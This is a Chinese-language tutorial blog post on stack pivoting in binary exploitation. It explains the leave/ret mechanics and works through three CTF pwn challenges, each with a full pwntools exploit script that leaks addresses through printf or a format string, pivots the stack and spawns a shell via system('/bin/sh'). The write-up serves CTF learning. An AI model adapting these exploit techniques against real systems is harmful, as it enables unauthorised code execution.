关于栈迁移学习分享

0x01栈迁移前言

对于栈迁移,我觉得简单的解释就是把栈迁移到别的地方从而进行去溢出,可是为什么这么做呢?就是因为栈能够溢出的长度不够,所以要迁移到一个能够写下payload的地方。这里就不讲那么多专业名词。就直接讲需要掌握哪些,怎么学习。

0x02栈迁移要求及原理

首先我们要知道在什么时候来使用栈迁移:
直接上图,这里就可以看到,明显只能够溢出8个字节,是不能够正常构造那些libc的payload的

当然了这里只是说我们可以尝试去使用栈迁移,我们还要看看有没有使用栈迁移的条件
1、首先就是能够进行溢出
2、有能够进行写入的地方
只有满足上面两点才能够使用栈溢出,既然确定了要使用栈迁移,这里就需要去学习怎么使用栈迁移了。
这里首先就来介绍栈迁移最重要的指令,就是 leave ret 这个指令有什么作用呢?
leave ret 的作用就是能够用来恢复调用者的栈帧,并返回到调用者。
首先 leave 指令可以理解为

mov esp ebp 
pop ebp

ret 指令可以理解为

pop eip

那么这里相信大家就可以很好看了,将ebp赋值给esp,然后把ebp弹出去,ret 再弹 eip

mov esp, ebp

mov 是移动指令,用于将数据从一个位置复制到另一个位置。
esp 是栈指针(Stack Pointer),它指向栈顶。
ebp 是基指针(Base Pointer),在函数中通常用来指向当前栈帧的底部。

pop ebp

pop 是出栈指令,用于从栈顶移除数据,并将其放入指定的寄存器。
这条指令的作用是从栈顶弹出一个字(通常是4字节)的数据,并将其放入基指针寄存器(ebp)中。
在函数调用结束后,pop ebp 用于恢复调用者的基指针值,因为函数开始时通常使用 push ebp 和 mov ebp, esp 将调用者的 ebp 值保存在栈上,并设置当前函数的栈帧。

pop eip

指令的作用是从栈顶弹出一个字(通常是4字节)的数据,并将其放入 eip 寄存器中。这意味着程序的执行流将被改变,程序将跳转到栈顶指定的地址继续执行。需要的注意的是会弹4个字节,在后面构造的时候会用到。
如果只说的话肯定难以理解,所以就这里搞了几个图片,可以看着试着理解一下

这里是一个即将leave的栈空间状态
我用表格来表示下面运行的状况,应该好理解yi'd


这里大概就是运行流程,如果有错希望各位师傅指出。
而我们栈迁移的流程就是要经过两次leave ret,接下来我会在真正题目中给大家展示,在这边抽象的讲感觉效果并不是很好,所以大家只需要知道那个是什么意思,什么作用就可以了。

例题讲解

网鼎杯 pwn2

直接来看一下程序,32位,只开启了nx保护

再来看主函数,检查login,过了以后到vuln中,不过就输出Login failed. Incorrect username or password.程序结束

这里来看login,让输入用户名和密码,之后让去对比,相当才能执行到vuln中

再来看看vuln,就可以看到有溢出了,只要不是直接来学习栈迁移都可以看的到溢出位了,很明显,溢出位只能够到返回地址,所以要用到了栈迁移了,这里可以发现,printf,可以利用这个来泄露地址,不过这里是直接打印了buf的地址给大家用,就不用再去泄露了。

看一下字符串,发现是有后门,但是需要稍微的构造一下就可以了

from pwn import *
context(arch='i386',os='linux',log_level='debug')
elf = ELF('./short')
#p = remote()
p = process('./short')
system = 0x80484A0
binsh = 0x804A038
leave = 0x8048674
p.sendlineafter('Enter your username: ','admin')
p.sendlineafter('Enter your password: ','admin123')
p.recvuntil('0x')
buf = int(p.recv(8),16)
print(hex(buf))
payload = b'aaaa' + p32(system) + p32(0)+ p32(binsh)
payload = payload.ljust(0x50,b'\x00')+ p32(buf) +p32(leave)
p.recvuntil('plz input your msg:\n')
p.send(payload)
p.interactive()

这里来解释一下exp,正好讲解其中内容了

p.sendlineafter('Enter your username: ','admin')
p.sendlineafter('Enter your password: ','admin123')

这里就是为了绕过login中的内容,让程序顺利执行到vuln当中

p.recvuntil('0x')
buf = int(p.recv(8),16)

程序直接打印了buf的地址,我们只需要写一个接收拿来用就可以了。

接收的写法就是从0x开始接收8位,然后16进制,这里非常的简单明了

payload = b'aaaa' + p32(system) + p32(0)+ p32(binsh)
payload = payload.ljust(0x50,b'\x00')+ p32(buf) +p32(leave)

在这里就讲一下是如何构造的

这里这样填充构造完成以后,把返回地址改为了leave ,这个指令的作用就是去还原现场,可以理解为到这里才是去调用填充的内容

这里为了方便理解,就是比如我去叫你做一件事,一开始是先告诉你怎么做,直到最后到leave 才跟你说,去做吧。就是这个意思。
这里一定要注意的是,在system前面要加上4个字节,为什么要加上四个字节呢,就是因为在leave ret中的ret,ret指令在前面也讲了是 pop eip,当运行过ret以后就会向下移动4个字节,如果我直接填system的话向下移动四个字节的时候就会导致我的system这4个字节被占掉,就不能够正常的使用system去执行/bin/sh了。
具体可以看这里,执行到了第二次leave ret以后就可以看到前面的4个a已经没有了,大家可以和上面的对照着看。

p.recvuntil('plz input your msg:\n')
p.send(payload)
p.interactive()

终于这里最后,就可以拿到shell了,总的来说需要理解,如果能够自己去调试的话一定会更加清楚是怎么运行的。

ciscn_2019_es_2

这一题也是非常的经典了,一样的来看

再看主函数

这里跟大家讲一下printf的一个点,就是printf(%s)这样打印的时候,只有遇到\n 才能够停止打印,否则会把后面的也给打印出来,接下来就要用到了。这个地方也可以看出只有0x28,但是能够输入0x30,也是能够溢出的了,但是不够,去迁移

可以看到这里就只有system,所以需要自己构造了

这里先放exp

from pwn import *
p = remote('node5.buuoj.cn',26338)
elf = ELF('./ciscn_2019_es_2')
leave_addr = 0x8048562
system_addr = elf.sym['system']
main = 0xdeadbeef
p.recvuntil('name?')
payload1 = b'a'*0x27 + b'b'
p.send(payload1)
p.recvuntil('b')
s = ebp = u32(p.recv(4)) - 0x38
print(hex(s))
payload2 = b'aaaa' + p32(system_addr) + b'aaaa' +p32(s + 16) + b'/bin/sh'
payload2 = payload2.ljust(0x28,b'\x00')+p32(s) + p32(leave_addr)
p.sendline(payload2)
p.interactive()

首先我们既然要迁,就要想想往哪里迁了,我们这里还是在s中,所以要先知道s在栈上面的地址,而这里就去利用printf去泄露地址了

p.recvuntil('name?')
payload1 = b'a'*0x27 + b'b'
p.send(payload1)
p.recvuntil('b')
s = ebp = u32(p.recv(4)) - 0x38

这些是为什么这样写呢?

这里可以看到在name以后,会打印出我们输入的东西,大家如果了解send和sendline的区别的话就会明白,sendline是要比send多出一个 /n 的,而printf如果没有/n就会接着打印,所以就利用这一点,使用send去发送payload并且填满0x28个字节,就会接着打印出来了,至于为什么加 b 就是为了方便定位位置接收的。那么0x38是怎么算的呢

这里是利用ebp的地址 - 输入的地址,就可以算出来偏移了,算出偏移以后就可以用这个方法来表示s的位置,我们接收打印的地址,然后去减去0x38就可以得到s的地址了

payload2 = b'aaaa' + p32(system_addr) + b'aaaa' +p32(s + 16) + b'/bin/sh'
payload2 = payload2.ljust(0x28,b'\x00')+p32(s) + p32(leave_addr)

这里的话就是构造也是一样的,就是在后面是自己输入binsh,而s+16是因为我们输入的/bin/sh是在s的第16个字节处。
首先4个a,然后system也是4个,再来4个a,加上我们自己输入的/bin/sh的地址就是16个,这里也需要注意一点,如果你输入的是 b'/bin/sh\x00'的话后面不管填充什么内容都可以,但是如果没有\x00后面就不能够填其他的,只能够填\x00。然后ebp的位置换为leave就完成了。这里再来看看栈内的构造。

可以看到也是一样的。看到的很清楚。

KEEP ON

这里换了是64位的了,有一些小不一样

然后就直接来看漏洞函数,可以看到是有个格式化字符串漏洞的,可以来利用泄露地址,然后下面,用来迁移。

这里漏洞点也说完了,请看exp

from pwn import *
elf = ELF('./hdctf')
context(arch = 'amd64',log_level = 'debug')
p = process('./hdctf')
system_addr = elf.sym['system']
leave_addr = 0x00000000004007f2
rdi = 0x4008D3

fmtpayload = b'%16$p'
p.recvuntil('name: ')
p.sendline(fmtpayload)
p.recvuntil('0x')
rbp_addr = int(p.recv(12),16)
print(hex(rbp_addr))

s = rbp_addr - 0x60 - 0x8
payload = p64(rdi) + p64(s + 0x8 + 0x18) + p64(system_addr) + b'/bin/sh\x00'
payload = payload.ljust(0x50,b'a') + p64(s) + p64(leave_addr)
p.recvuntil('keep on !')
p.send(payload)
p.interactive()

首先,大家看到了我标的rdi,可以大家通过ROPgatgad还有ropper都是没有找到rdi的,所以这里使用的是csu里面的r15+1当作rdi使用的

有了rdi以后就可以进行利用了

fmtpayload = b'%16$p'
p.recvuntil('name: ')
p.sendline(fmtpayload)
p.recvuntil('0x')
rbp_addr = int(p.recv(12),16)

这里利用了格式化字符串来泄露地址,下面也是接收,然后这里偏移是16

s = rbp_addr - 0x60 - 0x8
payload = p64(rdi) + p64(s + 0x8 + 0x18) + p64(system_addr) + b'/bin/sh\x00'
payload = payload.ljust(0x50,b'a') + p64(s) + p64(leave_addr)
p.recvuntil('keep on !')
p.send(payload)
p.interactive()

这里也是跟上面一样的来算地址,只不过是64位,后面传参要利用rdi 去进行陈传参。结果还是一样的。

总结

感觉只要懂了原理,后面再多做题就可以了,而且很多是和其他漏洞一起利用的。

0 条评论
某人
表情
可输入 255